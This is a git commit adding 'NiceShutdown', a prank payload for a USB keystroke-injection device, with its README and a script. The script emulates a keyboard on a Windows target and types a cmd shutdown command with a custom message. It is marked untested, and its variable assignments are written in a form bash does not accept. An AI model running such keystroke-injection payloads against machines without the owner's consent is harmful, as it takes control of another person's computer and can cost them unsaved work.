Add NiceShutdown (#408)
* Added files The payload.txt and the README.md have been added to the project! * Updated Readme The Readme file has been updatet. * Added development status The development status entry has been added to the list. * Added header. A header containing important information has been added. * Made a joke A joke has been made out of the Tested: No * Completed InfoBox and added Configuring The InfoBox is now a real box, and the Configuring section that is currently empty has been added. * Added DUCKY_LANG notice. In the configuration header, the sentence "You are required to change the DUCKY_LANG." has been added. * Various changes. Following changes have been made: Removed the "Tested joke" Setting the LED Setting the Attackmode Added configurationstuff Added Setting up Added the actual shutting down * Changed development status. The development status has been changed to "Actually quite done". * Changed development status * Added quality notice. The standard notice for Emilius123 payloads "Emilius123 payloads. Quality made in Notepad since 2019." has been added. * Changed category The category has been changed from "Prank" to "Prank and Troll". * Changed version In the files README.md and payload.txt, the Version label has changed to version 1.0 * Changed development status. The development status has been changed from "Actually quite done" to "1.0 done" * Changed Status at FINISH LED * Quality notice is now cursive The quality notice is now in a cursive font. * Added notice The notice "Please give feedback in the Forum topic." has been added and surrounded nicely. * Update README.md * Forum topic is now cursive * Added pull request The sentence "Please give Feedback in the Forum topic." has been changed to "Please give Feedback in the Forum Topic and check out the Pull request. * Update README.md * Update README.md * Added additional information. To the README and the payload, the Description, Attackmode and used Extensions have been added. * Removed lines * Removed empty linespull/414/head
parent
f1bf173d22
commit
da6251df9f
|
@ -0,0 +1,33 @@
|
||||||
|
# NiceShutdown
|
||||||
|
|
||||||
|
* Author: Emilius123
|
||||||
|
* Version: 1.0
|
||||||
|
* Category: Prank and Troll
|
||||||
|
* Supported: Windows
|
||||||
|
* Development status: 1.0 Done
|
||||||
|
* Attackmode: HID - Human Interface Device
|
||||||
|
* Extensions used: Run
|
||||||
|
|
||||||
|
## What does it do?
|
||||||
|
|
||||||
|
This payload shuts down the target's computer with a nice message.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
The shutdown message and delay can be changed. Standard message is "this is truly amazing" and standard delay is 10 seconds.
|
||||||
|
You are required to change the DUCKY_LANG.
|
||||||
|
|
||||||
|
## Status
|
||||||
|
|
||||||
|
| LED | Status |
|
||||||
|
| ------ | ---------------------|
|
||||||
|
| SETUP | Getting stuff ready |
|
||||||
|
| ATTACK | Running the command |
|
||||||
|
| FINISH | Shutting down, unplug|
|
||||||
|
|
||||||
|
\~\~\~\~\~\~\~\~\~\~\~\~\~\~
|
||||||
|
Please give feedback in the [*Forum topic*](https://forums.hak5.org/topic/50271-payload-tester-needed-niceshutdown-shutdown-payload/?tab=comments#comment-324760) and check out the [*Pull request*](https://github.com/hak5/bashbunny-payloads/pull/408).
|
||||||
|
\~\~\~\~\~\~\~\~\~\~\~\~\~\~
|
||||||
|
|
||||||
|
|
||||||
|
*Emilius123 payloads. Quality made in Notepad since 2019.*
|
|
@ -0,0 +1,34 @@
|
||||||
|
#!/bin/bash
|
||||||
|
############################################################
|
||||||
|
# Title: NiceShutdown #
|
||||||
|
# Description: Shuts down the target with the given message#
|
||||||
|
# Author: Emilius123 #
|
||||||
|
# Version: 1.0 #
|
||||||
|
# Category: Prank #
|
||||||
|
# Supported: Windows #
|
||||||
|
# Development status: 1.0 Done #
|
||||||
|
# Tested: No #
|
||||||
|
# Attackmode: HID - Human Interface Device #
|
||||||
|
# Extensions used: Run #
|
||||||
|
############################################################
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
|
||||||
|
ATTACKMODE HID
|
||||||
|
|
||||||
|
#--// Configuring - You can change stuff here -- \\--#
|
||||||
|
ShutdownMessage = "this is truly amazing" # The message that is used for the Shutdown
|
||||||
|
ShutdownDelay = "10" # The delay between attack and actual shutdown
|
||||||
|
DUCKY_LANG de # Change to the target's exspected keyboard layout
|
||||||
|
|
||||||
|
#--// Setting up \\--#
|
||||||
|
ShutdownCommand="shutdown -s -t ${ShutdownDelay} -c \"${ShutdownMessage}\""
|
||||||
|
|
||||||
|
#--// Shutting down \\--#
|
||||||
|
LED ATTACK
|
||||||
|
|
||||||
|
RUN WIN "cmd /c ${ShutdownCommand}"
|
||||||
|
|
||||||
|
|
||||||
|
# We're done!
|
||||||
|
LED FINISH
|
Loading…
Reference in New Issue